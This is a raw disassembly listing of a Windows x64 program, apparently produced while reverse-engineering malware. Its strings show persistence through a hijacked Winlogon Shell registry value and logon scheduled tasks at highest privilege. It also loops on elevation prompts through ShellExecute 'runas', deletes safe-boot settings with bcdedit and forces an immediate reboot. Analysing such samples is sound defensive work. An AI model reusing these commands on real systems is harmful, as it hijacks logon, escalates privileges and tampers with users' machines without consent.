lea rcx, [rbp - 0x48]
call fcn.1400019d0
mov rbx, rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea rcx, [rbp - 0x68]
call fcn.1400019d0
nop
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
call fcn.1400042b0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov ecx, 0x40
call fcn.14001f080
mov rbx, rax
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xd0], 0x3a
mov qword [rbp + 0xd8], 0x3f
movups xmm0, xmmword [str.HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140025208]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x140025218]
movups xmmword [rax + 0x20], xmm0
movsd xmm1, qword [0x140025228]
movsd qword [rax + 0x30], xmm1
movzx ecx, word [0x140025230]
mov word [rax + 0x38], cx
mov byte [rax + 0x3a], 0
lea rdx, [0x14002c388]
lea rcx, [rbp + 0xe0]
call fcn.14000cf70
nop
mov qword [rsp + 0x30], 0x3a
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 9
lea r9, str.reg_add__
lea rcx, [rbp - 0x68]
call fcn.14000f020
nop
mov r8d, 0x58
lea rdx, str.___v__Shell___t_REG_SZ__d__explorer.exe__powershell__command__Start_Process__FilePath_
lea rcx, [rbp - 0x68]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
lea rdx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae rdx, qword [rbp + 0xe0]
mov r8, qword [rbp + 0xf0]
lea rcx, [rsp + 0x78]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
lea r8d, [rsi + 0x13]
lea rdx, str.__Verb_RunAs____f
lea rcx, [rbp + 0x60]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x208], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x208], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140019ef4
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019eef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019eef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140019f44
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019f3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019f3f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x140019f94
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019f8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019f8f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
lea rcx, [rbp + 0x1f8]
cmp qword [rbp + 0x210], 0x10
cmovae rcx, qword [rbp + 0x1f8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [0x14002c1f8]
mov rax, r14
sub rax, rcx
cmp rax, 0x22
jb 0x14001ae0b
lea rax, [0x14002c1e8]
cmp qword [0x14002c200], 0x10
cmovae rax, qword [0x14002c1e8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x22
lea r9, str.schtasks__create__sc_onlogon__tn__
lea rcx, [rbp + 0x100]
call fcn.14000f020
nop
mov r8d, 8
lea rdx, str.___tr__
lea rcx, [rbp + 0x100]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x14002c0a8]
lea rcx, [rbp - 0x48]
call fcn.14000cdc0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x11
lea rdx, str.___RL_HIGHEST__f
lea rcx, [rsp + 0x58]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14001a12e
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a129
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a129
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
lea rcx, [rbp - 0x48]
call fcn.140001970
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x14001a18f
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a18a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a18a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0x110], xmm0
mov byte [rbp + 0x100], 0
lea rcx, [rbp + 0x1d8]
cmp qword [rbp + 0x1f0], 0x10
cmovae rcx, qword [rbp + 0x1d8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [0x14002c1d8]
sub r14, rcx
cmp r14, 0x22
jb 0x14001adbd
lea rax, [0x14002c1c8]
cmp qword [0x14002c1e0], 0x10
cmovae rax, qword [0x14002c1c8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x22
lea r9, str.schtasks__create__sc_onlogon__tn__
lea rcx, [rbp - 0x68]
call fcn.14000f020
nop
mov r8d, 8
lea rdx, str.___tr__
lea rcx, [rbp - 0x68]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x14002c0c8]
lea rcx, [rbp + 0x60]
call fcn.14000cdc0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x11
lea rdx, str.___RL_HIGHEST__f
lea rcx, [rsp + 0x78]
call fcn.14000d5f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1c8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1b8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1c8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14001a323
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a31e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a31e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x14001a373
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a36e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a36e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x14001a3c2
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a3bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a3bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
lea rcx, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 0x10
cmovae rcx, qword [rbp + 0x1b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [rbp + 0x100]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x48]
mov qword [rbp - 0x28], rax
mov rdx, r13
lea rcx, [rbp + 0x100]
call fcn.14000cf70
mov rdi, rax
lea rdx, [rbp + 0xa0]
lea rcx, [rbp - 0x48]
call fcn.14000cf70
mov rbx, rax
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x58]
call fcn.14000cf70
nop
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140004960
lea rdx, [0x14002c288]
lea rcx, [rbp + 0x2b0]
call fcn.14000cf70
mov rcx, rax
call fcn.1400040c0
nop
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 0x10
jb 0x14001a4a9
inc rdx
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a4a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a4a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0x1c8], xmm0
mov byte [rbp + 0x1b8], 0
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 0x10
jb 0x14001a504
inc rdx
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a4ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a4ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0x1e8], xmm0
mov byte [rbp + 0x1d8], 0
mov rdx, qword [rbp + 0x210]
cmp rdx, 0x10
jb 0x14001a55f
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a55a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a55a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0x208], xmm0
mov byte [rbp + 0x1f8], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x14001a5bb
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a5b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a5b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x14001a600
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a5fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a5fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x14001a645
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a63f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a63f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x14001a68a
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a684
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a684
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
nop
cmp r12, 0x10
jb 0x14001a6c6
lea rdx, [r12 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x14001a6bd
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a6bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.14001f0bc
nop
mov rdx, qword [rbp + 0x250]
cmp rdx, 0x10
jb 0x14001a70a
inc rdx
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a705
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a705
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0x248], xmm0
mov byte [rbp + 0x238], 0
mov rdx, qword [rbp + 0x270]
cmp rdx, 0x10
jb 0x14001a765
inc rdx
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a760
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a760
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0x268], xmm0
mov byte [rbp + 0x258], 0
mov rdx, qword [rbp + 0x150]
cmp rdx, 0x10
jb 0x14001a7c0
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a7bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a7bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
mov qword [rbp + 0x148], rsi
mov qword [rbp + 0x150], 0xf
mov byte [rbp + 0x138], 0
mov rdx, qword [rbp + 0x230]
cmp rdx, 0x10
jb 0x14001a81d
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a818
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a818
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0x228], xmm0
mov byte [rbp + 0x218], 0
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 0x10
jb 0x14001a878
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a873
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a873
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
mov qword [rbp + 0x1a8], rsi
mov qword [rbp + 0x1b0], 0xf
mov byte [rbp + 0x198], 0
mov rdx, qword [rbp + 0x190]
cmp rdx, 0x10
jb 0x14001a8d5
inc rdx
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a8d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a8d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
movdqa xmm0, xmmword [0x140025670]
movdqu xmmword [rbp + 0x188], xmm0
mov byte [rbp + 0x178], 0
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x14001a958
mov rdx, qword [rbp + 0x128]
call fcn.14000e520
mov rdx, qword [rbp + 0x130]
mov rcx, qword [rbp + 0x120]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a941
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a941
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rsi
lea rcx, [rbp + 0x298]
call fcn.14000d340
nop
mov rax, qword [rbp + 0x170]
cmp rax, 0x10
jb 0x14001a9aa
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a9a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a9a5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
mov rdi, qword [rbp + 0x278]
mov rax, qword [rbp + 0x290]
cmp rax, 0x10
jb 0x14001ad8d
lea rdx, [rax + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14001ad85
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001ad85
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14002c1a8]
cmp qword [0x14002c1c0], 0x10
cmovae rdx, qword [0x14002c1a8]
lea r13, [0x14002c228]
cmp qword [0x14002c240], 0x10
cmovae r13, qword [0x14002c228]
mov r8, qword [0x14002c238]
cmp r8, qword [0x14002c1b8]
jne 0x14001a9b1
mov rcx, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001a9b1
lea r8, [0x14002c3a8]
lea rdx, str.C:Users_
lea rcx, [rbp + 0x2b0]
call fcn.14000da10
nop
lea r8, str.AppDataLocalStory
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14000de00
nop
lea rcx, [rbp + 0x2b0]
call fcn.140001970
lea rdx, [0x14002c1a8]
lea rcx, [rbp + 0x178]
call fcn.14000cf70
mov rdx, rax
call fcn.140003cc0
mov ebx, eax
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xc0]
call fcn.14000cf70
mov rcx, rax
call fcn.140002e90
test al, al
je 0x14001aae3
cmp ebx, 1
jg 0x14001ab5d
lea rdx, str.NONE
lea rcx, [rbp + 0x178]
call fcn.14000cf70
mov rcx, rax
call fcn.1400025a0
mov rbx, rax
nop dword [rax]
nop word [rax + rax]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8, rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14002c1a8]
lea rcx, [rbp + 0xc0]
call fcn.14000cf70
mov rdx, rax
call fcn.140003cc0
cmp eax, 1
jle 0x14001ab10
lea rdx, [0x14002c288]
lea rcx, [rbp + 0x178]
call fcn.14000cf70
mov rcx, rax
call fcn.1400040c0
nop
lea rcx, [rbp + 0x80]
call fcn.140001970
jmp 0x14001a9b1
lea rdx, [0x140025410]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000df30
mov rcx, rax
lea rdx, [0x140001af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x278]
cmp rsi, 0x10
cmovae rcx, rdi
cmp rbx, 2
jne 0x14001ac3b
mov r8, rbx
lea rdx, [0x140023ae4]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001ac3b
lea rdx, str.DISABLE
lea rcx, [rbp + 0x2b0]
call fcn.1400019d0
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.1400058c0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x14001ac3b
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ac36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001ac36
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r15
mov qword [rbp + 0x170], 0xf
mov ecx, 0x60
call fcn.14001f080
mov rcx, rax
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x168], 0x55
mov qword [rbp + 0x170], 0x5f
movaps xmm0, xmmword [str.reg_delete__HKCUSOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon___v__Shell___f]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140025440]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140025450]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140025460]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140025470]
movups xmmword [rax + 0x40], xmm0
mov eax, dword [0x140025480]
mov dword [rcx + 0x50], eax
movzx eax, byte [0x140025484]
mov byte [rcx + 0x54], al
mov byte [rcx + 0x55], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.DISABLE
lea rcx, [rbp + 0x2b0]
call fcn.1400019d0
mov rcx, rax
call fcn.140008e80
lea rdx, str.STOP
lea rcx, [rbp + 0x80]
call fcn.1400019d0
mov rdx, rax
lea rcx, [rbp + 0x298]
call fcn.140006f80
lea rcx, [rbp + 0x298]
call fcn.14000d340
lea rcx, str.bcdedit__deletevalue_default_safeboot
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.shutdown__r__t_0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x170]
cmp rdx, 0x10
jb 0x14001a9b1
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ad7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001ad7b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001f0bc
jmp 0x14001a9b1
mov rcx, rdi
call fcn.14001f0bc
mov rcx, qword [rbp + 0x300]
xor rcx, rsp
call fcn.14001f060
lea r11, [rsp + 0x410]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001940
nop
call fcn.140001940
nop
call fcn.140001940
int3
call fcn.1400018a0
nop
call fcn.140001940
nop
call fcn.140001940
int3
call fcn.1400018a0
nop
call fcn.140001940
nop
call fcn.140001940
int3
call fcn.1400018a0
nop
call fcn.140001940
nop
call fcn.140001940
int3
call fcn.1400018a0
nop
call fcn.140001940
int3